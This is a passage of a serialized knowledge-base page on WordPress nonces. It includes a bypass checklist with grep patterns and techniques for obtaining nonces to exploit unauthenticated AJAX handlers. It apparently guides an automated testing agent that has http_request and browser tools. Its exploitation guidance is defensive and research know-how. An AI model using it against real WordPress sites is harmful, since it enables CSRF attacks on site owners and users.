hooks)\n",[36,6696,6698,6700,6702,6705,6707,6709,6711,6713,6715,6717],{"class":38,"line":6697},35,[36,6699,490],{"class":49},[36,6701,493],{"class":95},[36,6703,6704],{"class":53}," \"wp_create_nonce\"",[36,6706,625],{"class":53},[36,6708,6324],{"class":605},[36,6710,631],{"class":53},[36,6712,502],{"class":95},[36,6714,540],{"class":53},[36,6716,103],{"class":102},[36,6718,155],{"class":95},[36,6720,6722,6724,6726],{"class":38,"line":6721},36,[36,6723,552],{"class":49},[36,6725,555],{"class":95},[36,6727,6728],{"class":53}," \"admin_\\|is_admin\\|current_user_can\"\n",[18,6730,6732],{"id":6731},"the-nonce_life-filter","The nonce_life Filter",[14,6734,6735],{},"Plugins can shorten or extend nonce validity:",[26,6737,6739],{"className":177,"code":6738,"language":179,"meta":31,"style":31},"\u002F\u002F Shorten to 1 hour\nadd_filter( 'nonce_life', function() { return HOUR_IN_SECONDS; } );\n\n\u002F\u002F Extend to 7 days (dangerous)\nadd_filter( 'nonce_life', function() { return WEEK_IN_SECONDS; } );\n\n\u002F\u002F Action-specific lifetime\nadd_filter( 'nonce_life', function( $life, $action ) {\n    if ( 'dangerous_action' === $action ) {\n        return 300; \u002F\u002F 5 minutes\n    }\n    return $life;\n}, 10, 2 );\n",[33,6740,6741,6746,6751,6755,6760,6765,6769,6774,6779,6784,6789,6793,6798],{"__ignoreMap":31},[36,6742,6743],{"class":38,"line":39},[36,6744,6745],{},"\u002F\u002F Shorten to 1 hour\n",[36,6747,6748],{"class":38,"line":46},[36,6749,6750],{},"add_filter( 'nonce_life', function() { return HOUR_IN_SECONDS; } );\n",[36,6752,6753],{"class":38,"line":57},[36,6754,61],{"emptyLinePlaceholder":60},[36,6756,6757],{"class":38,"line":64},[36,6758,6759],{},"\u002F\u002F Extend to 7 days (dangerous)\n",[36,6761,6762],{"class":38,"line":70},[36,6763,6764],{},"add_filter( 'nonce_life', function() { return WEEK_IN_SECONDS; } );\n",[36,6766,6767],{"class":38,"line":78},[36,6768,61],{"emptyLinePlaceholder":60},[36,6770,6771],{"class":38,"line":83},[36,6772,6773],{},"\u002F\u002F Action-specific lifetime\n",[36,6775,6776],{"class":38,"line":89},[36,6777,6778],{},"add_filter( 'nonce_life', function( $life, $action ) {\n",[36,6780,6781],{"class":38,"line":115},[36,6782,6783],{},"    if ( 'dangerous_action' === $action ) {\n",[36,6785,6786],{"class":38,"line":133},[36,6787,6788],{},"        return 300; \u002F\u002F 5 minutes\n",[36,6790,6791],{"class":38,"line":138},[36,6792,1622],{},[36,6794,6795],{"class":38,"line":144},[36,6796,6797],{},"    return $life;\n",[36,6799,6800],{"class":38,"line":158},[36,6801,6802],{},"}, 10, 2 );\n",[26,6804,6806],{"className":28,"code":6805,"language":30,"meta":31,"style":31},"# Find nonce_life filter modifications\ngrep -rn \"nonce_life\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002F --include=\"*.php\"\n",[33,6807,6808,6813],{"__ignoreMap":31},[36,6809,6810],{"class":38,"line":39},[36,6811,6812],{"class":42},"# Find nonce_life filter modifications\n",[36,6814,6815,6817,6819,6822,6825,6827],{"class":38,"line":46},[36,6816,490],{"class":49},[36,6818,493],{"class":95},[36,6820,6821],{"class":53}," \"nonce_life\"",[36,6823,6824],{"class":53}," \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002F",[36,6826,502],{"class":95},[36,6828,505],{"class":53},[18,6830,6832],{"id":6831},"nonce-vs-capability-check-order","Nonce vs. Capability Check Order",[14,6834,6835],{},"A subtle vulnerability pattern: checking nonce before capability allows an attacker to learn whether their nonce is valid (useful in nonce oracle attacks):",[26,6837,6839],{"className":177,"code":6838,"language":179,"meta":31,"style":31},"\u002F\u002F Order matters: check capability first in sensitive operations\nfunction secure_handler() {\n    \u002F\u002F Capability first: fails fast for unprivileged users\n    if ( ! current_user_can( 'manage_options' ) ) {\n        wp_die( 'Unauthorized', 403 );\n    }\n    \u002F\u002F Nonce second\n    check_ajax_referer( 'admin_action', 'nonce' );\n    \u002F\u002F Then logic\n}\n",[33,6840,6841,6846,6851,6856,6860,6865,6869,6874,6879,6884],{"__ignoreMap":31},[36,6842,6843],{"class":38,"line":39},[36,6844,6845],{},"\u002F\u002F Order matters: check capability first in sensitive operations\n",[36,6847,6848],{"class":38,"line":46},[36,6849,6850],{},"function secure_handler() {\n",[36,6852,6853],{"class":38,"line":57},[36,6854,6855],{},"    \u002F\u002F Capability first: fails fast for unprivileged users\n",[36,6857,6858],{"class":38,"line":64},[36,6859,3607],{},[36,6861,6862],{"class":38,"line":70},[36,6863,6864],{},"        wp_die( 'Unauthorized', 403 );\n",[36,6866,6867],{"class":38,"line":78},[36,6868,1622],{},[36,6870,6871],{"class":38,"line":83},[36,6872,6873],{},"    \u002F\u002F Nonce second\n",[36,6875,6876],{"class":38,"line":89},[36,6877,6878],{},"    check_ajax_referer( 'admin_action', 'nonce' );\n",[36,6880,6881],{"class":38,"line":115},[36,6882,6883],{},"    \u002F\u002F Then logic\n",[36,6885,6886],{"class":38,"line":133},[36,6887,323],{},[18,6889,6891],{"id":6890},"summary-nonce-bypass-checklist","Summary: Nonce Bypass Checklist",[4440,6893,6894,6907],{},[4443,6895,6896],{},[4446,6897,6898,6901,6904],{},[4449,6899,6900],{},"Bypass",[4449,6902,6903],{},"Grep Pattern",[4449,6905,6906],{},"Impact",[4456,6908,6909,6926,6938,6949,6963,6973],{},[4446,6910,6911,6914,6923],{},[4461,6912,6913],{},"Result not checked",[4461,6915,6916,6919,6920],{},[33,6917,6918],{},"wp_verify_nonce[^;]*;"," without ",[33,6921,6922],{},"if",[4461,6924,6925],{},"Full CSRF",[4446,6927,6928,6931,6936],{},[4461,6929,6930],{},"die=false, result ignored",[4461,6932,6933],{},[33,6934,6935],{},"check_ajax_referer.*false",[4461,6937,6925],{},[4446,6939,6940,6943,6946],{},[4461,6941,6942],{},"Wrong action string",[4461,6944,6945],{},"Compare create vs verify action strings",[4461,6947,6948],{},"CSRF on specific action",[4446,6950,6951,6954,6960],{},[4461,6952,6953],{},"Public nonce exposure",[4461,6955,6956,6959],{},[33,6957,6958],{},"wp_create_nonce"," in non-admin hooks",[4461,6961,6962],{},"CSRF for anon users",[4446,6964,6965,6968,6971],{},[4461,6966,6967],{},"Missing check entirely",[4461,6969,6970],{},"AJAX handlers without any nonce call",[4461,6972,6925],{},[4446,6974,6975,6978,6983],{},[4461,6976,6977],{},"Nonce in URL",[4461,6979,6980,6982],{},[33,6981,6958],{}," in href\u002Fredirect",[4461,6984,6985],{},"Nonce leakage via Referer",[6987,6988],"hr",{},[18,6990,6992],{"id":6991},"critical-obtaining-nonces-for-unauthenticated-exploitation","Critical: Obtaining Nonces for Unauthenticated Exploitation",[14,6994,6995,6996,6999],{},"One of the most common obstacles in exploiting ",[33,6997,6998],{},"wp_ajax_nopriv"," handlers is obtaining a valid nonce. This section covers the practical techniques.",[684,7001,7003],{"id":7002},"why-wp-cli-nonces-dont-work-for-http-requests","Why WP-CLI Nonces Don't Work for HTTP Requests",[14,7005,7006,7007,7010,7011,7014,7015,7017,7018,7020],{},"A nonce generated via WP-CLI (",[33,7008,7009],{},"wp eval \"echo wp_create_nonce('action');\"",") will ",[4864,7012,7013],{},"NOT"," work when sent in an HTTP request to ",[33,7016,2714],{},". This is because WordPress nonces are salted with the user's session token from their cookie. WP-CLI runs in a separate PHP process with no browser cookies, so the nonce it generates uses a different salt than what ",[33,7019,2714],{}," expects.",[26,7022,7027],{"className":7023,"code":7025,"language":7026},[7024],"language-text","WP-CLI session:  nonce = hash(action + user_id=0 + session_token_A)\nHTTP request:    verify = hash(action + user_id=0 + session_token_B)  \u002F\u002F Different!\n","text",[33,7028,7025],{"__ignoreMap":31},[14,7030,7031,7032,7035],{},"Even with ",[33,7033,7034],{},"wp_set_current_user(0)",", the session tokens differ because WP-CLI has no cookie context.",[684,7037,7039],{"id":7038},"technique-1-extract-nonce-from-page-source","Technique 1: Extract Nonce from Page Source",[14,7041,7042,7043,7046],{},"Many plugins expose nonces via ",[33,7044,7045],{},"wp_localize_script()",". The nonce appears in the HTML as a JavaScript variable:",[26,7048,7052],{"className":7049,"code":7050,"language":7051,"meta":31,"style":31},"language-html shiki shiki-themes github-light github-dark","\u003Cscript>\nvar userspn_ajax = {\"ajax_url\":\"http:\\\u002F\\\u002Fexample.com\\\u002Fwp-admin\\\u002Fadmin-ajax.php\",\"userspn_ajax_nonce\":\"a1b2c3d4e5\"};\n\u003C\u002Fscript>\n","html",[33,7053,7054,7066,7118],{"__ignoreMap":31},[36,7055,7056,7059,7063],{"class":38,"line":39},[36,7057,7058],{"class":605},"\u003C",[36,7060,7062],{"class":7061},"s9eBZ","script",[36,7064,7065],{"class":605},">\n",[36,7067,7068,7071,7074,7076,7079,7082,7084,7087,7090,7093,7096,7099,7101,7104,7107,7110,7112,7115],{"class":38,"line":46},[36,7069,7070],{"class":102},"var",[36,7072,7073],{"class":605}," userspn_ajax ",[36,7075,1220],{"class":102},[36,7077,7078],{"class":605}," {",[36,7080,7081],{"class":53},"\"ajax_url\"",[36,7083,375],{"class":605},[36,7085,7086],{"class":53},"\"http:",[36,7088,7089],{"class":95},"\\\u002F\\\u002F",[36,7091,7092],{"class":53},"example.com",[36,7094,7095],{"class":95},"\\\u002F",[36,7097,7098],{"class":53},"wp-admin",[36,7100,7095],{"class":95},[36,7102,7103],{"class":53},"admin-ajax.php\"",[36,7105,7106],{"class":605},",",[36,7108,7109],{"class":53},"\"userspn_ajax_nonce\"",[36,7111,375],{"class":605},[36,7113,7114],{"class":53},"\"a1b2c3d4e5\"",[36,7116,7117],{"class":605},"};\n",[36,7119,7120,7123,7125],{"class":38,"line":57},[36,7121,7122],{"class":605},"\u003C\u002F",[36,7124,7062],{"class":7061},[36,7126,7065],{"class":605},[14,7128,7129],{},"To extract it, make an HTTP GET request and parse the response:",[26,7131,7133],{"className":28,"code":7132,"language":30,"meta":31,"style":31},"# Using the http_request tool (Playwright), then parse the response\n# Look for the nonce in the JSON-encoded localized script data\n",[33,7134,7135,7140],{"__ignoreMap":31},[36,7136,7137],{"class":38,"line":39},[36,7138,7139],{"class":42},"# Using the http_request tool (Playwright), then parse the response\n",[36,7141,7142],{"class":38,"line":46},[36,7143,7144],{"class":42},"# Look for the nonce in the JSON-encoded localized script data\n",[14,7146,7147,7150],{},[4864,7148,7149],{},"Problem:"," The scripts (and therefore the nonce) only load on pages where the plugin's functionality is active. On a vanilla homepage without the plugin's shortcode or widget, the scripts may not be enqueued.",[684,7152,7154],{"id":7153},"technique-2-create-a-page-with-the-plugins-shortcode","Technique 2: Create a Page with the Plugin's Shortcode",[14,7156,7157],{},"If the plugin's scripts only load on pages with a specific shortcode, create one:",[26,7159,7161],{"className":28,"code":7160,"language":30,"meta":31,"style":31},"# Create a page with the plugin's shortcode\nwp post create --post_type=page --post_title=\"Test\" --post_status=publish --post_content='[plugin_shortcode]'\n\n# Then fetch that page via HTTP to get the nonce\n# Use http_request tool (NOT curl inside the container)\n",[33,7162,7163,7168,7197,7201,7206],{"__ignoreMap":31},[36,7164,7165],{"class":38,"line":39},[36,7166,7167],{"class":42},"# Create a page with the plugin's shortcode\n",[36,7169,7170,7173,7176,7179,7182,7185,7188,7191,7194],{"class":38,"line":46},[36,7171,7172],{"class":49},"wp",[36,7174,7175],{"class":53}," post",[36,7177,7178],{"class":53}," create",[36,7180,7181],{"class":95}," --post_type=page",[36,7183,7184],{"class":95}," --post_title=",[36,7186,7187],{"class":53},"\"Test\"",[36,7189,7190],{"class":95}," --post_status=publish",[36,7192,7193],{"class":95}," --post_content=",[36,7195,7196],{"class":53},"'[plugin_shortcode]'\n",[36,7198,7199],{"class":38,"line":57},[36,7200,61],{"emptyLinePlaceholder":60},[36,7202,7203],{"class":38,"line":64},[36,7204,7205],{"class":42},"# Then fetch that page via HTTP to get the nonce\n",[36,7207,7208],{"class":38,"line":70},[36,7209,7210],{"class":42},"# Use http_request tool (NOT curl inside the container)\n",[14,7212,7213],{},"Common shortcodes to look for:",[26,7215,7217],{"className":28,"code":7216,"language":30,"meta":31,"style":31},"grep -rn \"add_shortcode\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002FPLUGIN_NAME\u002F | head -20\n",[33,7218,7219],{"__ignoreMap":31},[36,7220,7221,7223,7225,7228,7231,7233,7235],{"class":38,"line":39},[36,7222,490],{"class":49},[36,7224,493],{"class":95},[36,7226,7227],{"class":53}," \"add_shortcode\"",[36,7229,7230],{"class":53}," \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002FPLUGIN_NAME\u002F",[36,7232,103],{"class":102},[36,7234,5296],{"class":49},[36,7236,7237],{"class":95}," -20\n",[684,7239,7241],{"id":7240},"technique-3-use-the-wordpress-rest-api-nonce-endpoint","Technique 3: Use the WordPress REST API Nonce Endpoint",[14,7243,7244],{},"WordPress exposes a nonce endpoint for the REST API:",[26,7246,7249],{"className":7247,"code":7248,"language":7026},[7024],"GET \u002Fwp-admin\u002Fadmin-ajax.php?action=rest-nonce\n",[33,7250,7248],{"__ignoreMap":31},[14,7252,7253,7254,7257],{},"This returns a nonce for the ",[33,7255,7256],{},"wp_rest"," action. While this specific nonce is for REST API authentication, it demonstrates that nonces can be obtained via unauthenticated HTTP requests.",[684,7259,7261],{"id":7260},"technique-4-check-if-the-nonce-action-matches","Technique 4: Check if the Nonce Action Matches",[14,7263,7264],{},"A common vulnerability: the plugin creates a nonce with one action string but verifies with a different one (or doesn't verify at all). Compare:",[26,7266,7268],{"className":28,"code":7267,"language":30,"meta":31,"style":31},"# What action is used to CREATE the nonce?\ngrep -n \"wp_create_nonce\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002FPLUGIN_NAME\u002F -r\n\n# What action is used to VERIFY the nonce?\ngrep -n \"wp_verify_nonce\\|check_ajax_referer\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002FPLUGIN_NAME\u002F -r\n",[33,7269,7270,7275,7288,7292,7297],{"__ignoreMap":31},[36,7271,7272],{"class":38,"line":39},[36,7273,7274],{"class":42},"# What action is used to CREATE the nonce?\n",[36,7276,7277,7279,7281,7283,7285],{"class":38,"line":46},[36,7278,490],{"class":49},[36,7280,1229],{"class":95},[36,7282,6704],{"class":53},[36,7284,7230],{"class":53},[36,7286,7287],{"class":95}," -r\n",[36,7289,7290],{"class":38,"line":57},[36,7291,61],{"emptyLinePlaceholder":60},[36,7293,7294],{"class":38,"line":64},[36,7295,7296],{"class":42},"# What action is used to VERIFY the nonce?\n",[36,7298,7299,7301,7303,7305,7307],{"class":38,"line":70},[36,7300,490],{"class":49},[36,7302,1229],{"class":95},[36,7304,6525],{"class":53},[36,7306,7230],{"class":53},[36,7308,7287],{"class":95},[14,7310,7311,7312,7314,7315,7318],{},"If the actions don't match, or if ",[33,7313,4524],{}," is called with ",[33,7316,7317],{},"die=false"," and the result isn't checked, the nonce is effectively bypassed.",[684,7320,7322],{"id":7321},"technique-5-nonce-for-logged-out-users","Technique 5: Nonce for Logged-Out Users",[14,7324,7325,7326,7328],{},"For ",[33,7327,6998],{}," handlers, the nonce is generated for user ID 0 (not logged in). The nonce value depends on:",[2706,7330,7331,7334,7337,7344],{},[2709,7332,7333],{},"The action string",[2709,7335,7336],{},"User ID (0 for logged out)",[2709,7338,7339,7340,7343],{},"Session token (empty string for logged out users, BUT the cookie ",[33,7341,7342],{},"wordpress_test_cookie"," may affect this)",[2709,7345,7346],{},"The nonce tick (changes every 12 hours)",[14,7348,7349],{},"To get a valid nonce for an unauthenticated request:",[2706,7351,7352,7355,7358,7361],{},[2709,7353,7354],{},"Visit the site in a fresh browser session (no cookies)",[2709,7356,7357],{},"Find a page where the plugin enqueues its scripts",[2709,7359,7360],{},"Extract the nonce from the page source",[2709,7362,7363],{},"Use that nonce immediately (within 12-24 hours)",[684,7365,7367],{"id":7366},"common-mistake-in-testing","Common Mistake in Testing",[14,7369,7370,7371,7373,7374,7377,7378,7381,7382,7385,7386,7389],{},"Never use ",[33,7372,92],{}," inside a Docker container to fetch pages from the same WordPress instance. The container's ",[33,7375,7376],{},"localhost:8080"," port mapping is on the Docker ",[4864,7379,7380],{},"host",", not inside the container. Use the ",[33,7383,7384],{},"http_request"," tool (which goes through Playwright on the host) or ",[33,7387,7388],{},"browser_navigate"," instead.",[2645,7391,7392],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":31,"searchDepth":46,"depth":46,"links":7394},[7395,7396,7397,7398,7404,7412,7413,7414,7415,7416,7417],{"id":4854,"depth":46,"text":4855},{"id":4908,"depth":46,"text":4909},{"id":5014,"depth":46,"text":5015},{"id":5177,"depth":46,"text":5178,"children":7399},[7400,7401,7402,7403],{"id":5181,"depth":57,"text":5182},{"id":5302,"depth":57,"text":5303},{"id":5406,"depth":57,"text":5407},{"id":5434,"depth":57,"text":5435},{"id":5515,"depth":46,"text":5516,"children":7405},[7406,7407,7408,7409,7410,7411],{"id":5519,"depth":57,"text":5520},{"id":5666,"depth":57,"text":5667},{"id":5812,"depth":57,"text":5813},{"id":5910,"depth":57,"text":5911},{"id":5986,"depth":57,"text":5987},{"id":6068,"depth":57,"text":6069},{"id":6138,"depth":46,"text":6139},{"id":6281,"depth":46,"text":6282},{"id":6731,"depth":46,"text":6732},{"id":6831,"depth":46,"text":6832},{"id":6890,"depth":46,"text":6891},{"id":6991,"depth":46,"text":6992,"children":7418},[7419,7420,7421,7422,7423,7424,7425],{"id":7002,"depth":57,"text":7003},{"id":7038,"depth":57,"text":7039},{"id":7153,"depth":57,"text":7154},{"id":7240,"depth":57,"text":7241},{"id":7260,"depth":57,"text":7261},{"id":7321,"depth":57,"text":7322},{"id":7366,"depth":57,"text":7367},"How WordPress nonces work internally, their 24-hour lifespan, how plugins expose them, and common bypass patterns",{},"\u002Fknowledge-base\u002Fwordpress-nonces-and-bypasses",{"title":4843,"description":7426},"knowledge-base\u002Fwordpress-nonces-and-bypasses","XWHyX7WdkMzA40R_fMOrjbozeUYABb6uXpqjexz6kbA",{"id":4,"title":5,"body":7433,"category":2671,"description":2672,"extension":2673,"meta":9619,"navigation":60,"order":57,"path":2675,"seo":9620,"stem":2677,"__hash__":2678},{"type":7,"value":7434,"toc":9597},[7435,7437,7439,7441,7443,7539,7541,7543,7675,7679,7685,7715,7721,7765,7767,7927,7929,7931,7933,7997,7999,8067,8069,8129,8131,8133,8137,8165,8209,8211,8255,8295,8297,8363,8561,8563,8565,8653,8655,8723,8767,8769,8771,8875,8885,8921,8923,9155,9157,9219,9221,9223,9303,9375,9377,9595],[10,7436,5],{"id":12},[14,7438,16],{},[18,7440,21],{"id":20},[14,7442,24],{},[26,7444,7445],{"className":28,"code":29,"language":30,"meta":31,"style":31},[33,7446,7447,7451,7457,7461,7465,7471,7475,7479,7495,7511,7515,7519,7531],{"__ignoreMap":31},[36,7448,7449],{"class":38,"line":39},[36,7450,43],{"class":42},[36,7452,7453,7455],{"class":38,"line":46},[36,7454,50],{"class":49},[36,7456,54],{"class":53},[36,7458,7459],{"class":38,"line":57},[36,7460,61],{"emptyLinePlaceholder":60},[36,7462,7463],{"class":38,"line":64},[36,7464,67],{"class":42},[36,7466,7467,7469],{"class":38,"line":70},[36,7468,50],{"class":49},[36,7470,75],{"class":53},[36,7472,7473],{"class":38,"line":78},[36,7474,61],{"emptyLinePlaceholder":60},[36,7476,7477],{"class":38,"line":83},[36,7478,86],{"class":42},[36,7480,7481,7483,7485,7487,7489,7491,7493],{"class":38,"line":89},[36,7482,92],{"class":49},[36,7484,96],{"class":95},[36,7486,99],{"class":53},[36,7488,103],{"class":102},[36,7490,106],{"class":49},[36,7492,109],{"class":95},[36,7494,112],{"class":53},[36,7496,7497,7499,7501,7503,7505,7507,7509],{"class":38,"line":115},[36,7498,92],{"class":49},[36,7500,96],{"class":95},[36,7502,122],{"class":53},[36,7504,103],{"class":102},[36,7506,106],{"class":49},[36,7508,109],{"class":95},[36,7510,112],{"class":53},[36,7512,7513],{"class":38,"line":133},[36,7514,61],{"emptyLinePlaceholder":60},[36,7516,7517],{"class":38,"line":138},[36,7518,141],{"class":42},[36,7520,7521,7523,7525,7527,7529],{"class":38,"line":144},[36,7522,92],{"class":49},[36,7524,96],{"class":95},[36,7526,99],{"class":53},[36,7528,103],{"class":102},[36,7530,155],{"class":95},[36,7532,7533,7535,7537],{"class":38,"line":158},[36,7534,161],{"class":49},[36,7536,164],{"class":95},[36,7538,167],{"class":53},[14,7540,170],{},[18,7542,174],{"id":173},[26,7544,7545],{"className":177,"code":178,"language":179,"meta":31,"style":31},[33,7546,7547,7551,7555,7559,7565,7571,7575,7579,7583,7587,7591,7595,7599,7603,7607,7611,7615,7619,7623,7627,7631,7635,7639,7643,7647,7651,7655,7659,7663,7667,7671],{"__ignoreMap":31},[36,7548,7549],{"class":38,"line":39},[36,7550,186],{},[36,7552,7553],{"class":38,"line":46},[36,7554,191],{},[36,7556,7557],{"class":38,"line":57},[36,7558,196],{},[36,7560,7561,7563],{"class":38,"line":64},[36,7562,201],{},[36,7564,204],{},[36,7566,7567,7569],{"class":38,"line":70},[36,7568,209],{},[36,7570,212],{},[36,7572,7573],{"class":38,"line":78},[36,7574,217],{},[36,7576,7577],{"class":38,"line":83},[36,7578,222],{},[36,7580,7581],{"class":38,"line":89},[36,7582,227],{},[36,7584,7585],{"class":38,"line":115},[36,7586,232],{},[36,7588,7589],{"class":38,"line":133},[36,7590,237],{},[36,7592,7593],{"class":38,"line":138},[36,7594,242],{},[36,7596,7597],{"class":38,"line":144},[36,7598,247],{},[36,7600,7601],{"class":38,"line":158},[36,7602,252],{},[36,7604,7605],{"class":38,"line":255},[36,7606,258],{},[36,7608,7609],{"class":38,"line":261},[36,7610,264],{},[36,7612,7613],{"class":38,"line":267},[36,7614,270],{},[36,7616,7617],{"class":38,"line":273},[36,7618,276],{},[36,7620,7621],{"class":38,"line":279},[36,7622,282],{},[36,7624,7625],{"class":38,"line":285},[36,7626,288],{},[36,7628,7629],{"class":38,"line":291},[36,7630,294],{},[36,7632,7633],{"class":38,"line":297},[36,7634,300],{},[36,7636,7637],{"class":38,"line":303},[36,7638,61],{"emptyLinePlaceholder":60},[36,7640,7641],{"class":38,"line":308},[36,7642,311],{},[36,7644,7645],{"class":38,"line":314},[36,7646,317],{},[36,7648,7649],{"class":38,"line":320},[36,7650,323],{},[36,7652,7653],{"class":38,"line":326},[36,7654,61],{"emptyLinePlaceholder":60},[36,7656,7657],{"class":38,"line":331},[36,7658,334],{},[36,7660,7661],{"class":38,"line":337},[36,7662,340],{},[36,7664,7665],{"class":38,"line":343},[36,7666,346],{},[36,7668,7669],{"class":38,"line":349},[36,7670,352],{},[36,7672,7673],{"class":38,"line":355},[36,7674,323],{},[18,7676,361,7677,365],{"id":360},[33,7678,364],{},[14,7680,368,7681,371,7683,375],{},[33,7682,364],{},[33,7684,374],{},[26,7686,7687],{"className":177,"code":378,"language":179,"meta":31,"style":31},[33,7688,7689,7693,7697,7701,7705,7711],{"__ignoreMap":31},[36,7690,7691],{"class":38,"line":39},[36,7692,385],{},[36,7694,7695],{"class":38,"line":46},[36,7696,390],{},[36,7698,7699],{"class":38,"line":57},[36,7700,395],{},[36,7702,7703],{"class":38,"line":64},[36,7704,400],{},[36,7706,7707,7709],{"class":38,"line":70},[36,7708,405],{},[36,7710,408],{},[36,7712,7713],{"class":38,"line":78},[36,7714,413],{},[14,7716,7717,418,7719,422],{},[33,7718,364],{},[33,7720,421],{},[26,7722,7723],{"className":28,"code":425,"language":30,"meta":31,"style":31},[33,7724,7725,7729,7737,7741,7745,7753],{"__ignoreMap":31},[36,7726,7727],{"class":38,"line":39},[36,7728,432],{"class":42},[36,7730,7731,7733,7735],{"class":38,"line":46},[36,7732,92],{"class":49},[36,7734,96],{"class":95},[36,7736,441],{"class":53},[36,7738,7739],{"class":38,"line":57},[36,7740,61],{"emptyLinePlaceholder":60},[36,7742,7743],{"class":38,"line":64},[36,7744,450],{"class":42},[36,7746,7747,7749,7751],{"class":38,"line":70},[36,7748,92],{"class":49},[36,7750,96],{"class":95},[36,7752,441],{"class":53},[36,7754,7755,7757,7759,7761,7763],{"class":38,"line":78},[36,7756,92],{"class":49},[36,7758,96],{"class":95},[36,7760,467],{"class":95},[36,7762,470],{"class":53},[36,7764,441],{"class":53},[14,7766,475],{},[26,7768,7769],{"className":28,"code":478,"language":30,"meta":31,"style":31},[33,7770,7771,7775,7789,7793,7797,7801,7805,7825,7833,7837,7841,7853,7873,7909,7919,7923],{"__ignoreMap":31},[36,7772,7773],{"class":38,"line":39},[36,7774,485],{"class":42},[36,7776,7777,7779,7781,7783,7785,7787],{"class":38,"line":46},[36,7778,490],{"class":49},[36,7780,493],{"class":95},[36,7782,496],{"class":53},[36,7784,499],{"class":53},[36,7786,502],{"class":95},[36,7788,505],{"class":53},[36,7790,7791],{"class":38,"line":57},[36,7792,61],{"emptyLinePlaceholder":60},[36,7794,7795],{"class":38,"line":64},[36,7796,514],{"class":42},[36,7798,7799],{"class":38,"line":70},[36,7800,519],{"class":42},[36,7802,7803],{"class":38,"line":78},[36,7804,524],{"class":42},[36,7806,7807,7809,7811,7813,7815,7817,7819,7821,7823],{"class":38,"line":83},[36,7808,490],{"class":49},[36,7810,493],{"class":95},[36,7812,533],{"class":53},[36,7814,499],{"class":53},[36,7816,502],{"class":95},[36,7818,540],{"class":53},[36,7820,543],{"class":95},[36,7822,103],{"class":102},[36,7824,155],{"class":95},[36,7826,7827,7829,7831],{"class":38,"line":89},[36,7828,552],{"class":49},[36,7830,555],{"class":95},[36,7832,558],{"class":53},[36,7834,7835],{"class":38,"line":115},[36,7836,61],{"emptyLinePlaceholder":60},[36,7838,7839],{"class":38,"line":133},[36,7840,567],{"class":42},[36,7842,7843,7845,7847,7849,7851],{"class":38,"line":138},[36,7844,490],{"class":49},[36,7846,574],{"class":95},[36,7848,577],{"class":53},[36,7850,499],{"class":53},[36,7852,155],{"class":95},[36,7854,7855,7857,7859,7861,7863,7865,7867,7869,7871],{"class":38,"line":144},[36,7856,586],{"class":95},[36,7858,540],{"class":53},[36,7860,591],{"class":95},[36,7862,103],{"class":102},[36,7864,596],{"class":102},[36,7866,599],{"class":95},[36,7868,602],{"class":53},[36,7870,606],{"class":605},[36,7872,609],{"class":102},[36,7874,7875,7877,7879,7881,7883,7885,7887,7889,7891,7893,7895,7897,7899,7901,7903,7905,7907],{"class":38,"line":158},[36,7876,614],{"class":102},[36,7878,617],{"class":49},[36,7880,620],{"class":95},[36,7882,533],{"class":53},[36,7884,625],{"class":53},[36,7886,628],{"class":605},[36,7888,631],{"class":53},[36,7890,634],{"class":605},[36,7892,637],{"class":102},[36,7894,617],{"class":49},[36,7896,620],{"class":95},[36,7898,644],{"class":53},[36,7900,625],{"class":53},[36,7902,628],{"class":605},[36,7904,631],{"class":53},[36,7906,606],{"class":605},[36,7908,655],{"class":102},[36,7910,7911,7913,7915,7917],{"class":38,"line":255},[36,7912,660],{"class":95},[36,7914,663],{"class":53},[36,7916,628],{"class":605},[36,7918,668],{"class":53},[36,7920,7921],{"class":38,"line":261},[36,7922,673],{"class":102},[36,7924,7925],{"class":38,"line":267},[36,7926,678],{"class":102},[18,7928,682],{"id":681},[684,7930,687],{"id":686},[14,7932,690],{},[26,7934,7935],{"className":28,"code":693,"language":30,"meta":31,"style":31},[33,7936,7937,7941,7957,7965,7969,7973,7985,7993],{"__ignoreMap":31},[36,7938,7939],{"class":38,"line":39},[36,7940,700],{"class":42},[36,7942,7943,7945,7947,7949,7951,7953,7955],{"class":38,"line":46},[36,7944,92],{"class":49},[36,7946,96],{"class":95},[36,7948,709],{"class":95},[36,7950,712],{"class":53},[36,7952,715],{"class":53},[36,7954,103],{"class":102},[36,7956,155],{"class":95},[36,7958,7959,7961,7963],{"class":38,"line":57},[36,7960,552],{"class":49},[36,7962,726],{"class":95},[36,7964,729],{"class":53},[36,7966,7967],{"class":38,"line":64},[36,7968,61],{"emptyLinePlaceholder":60},[36,7970,7971],{"class":38,"line":70},[36,7972,738],{"class":42},[36,7974,7975,7977,7979,7981,7983],{"class":38,"line":78},[36,7976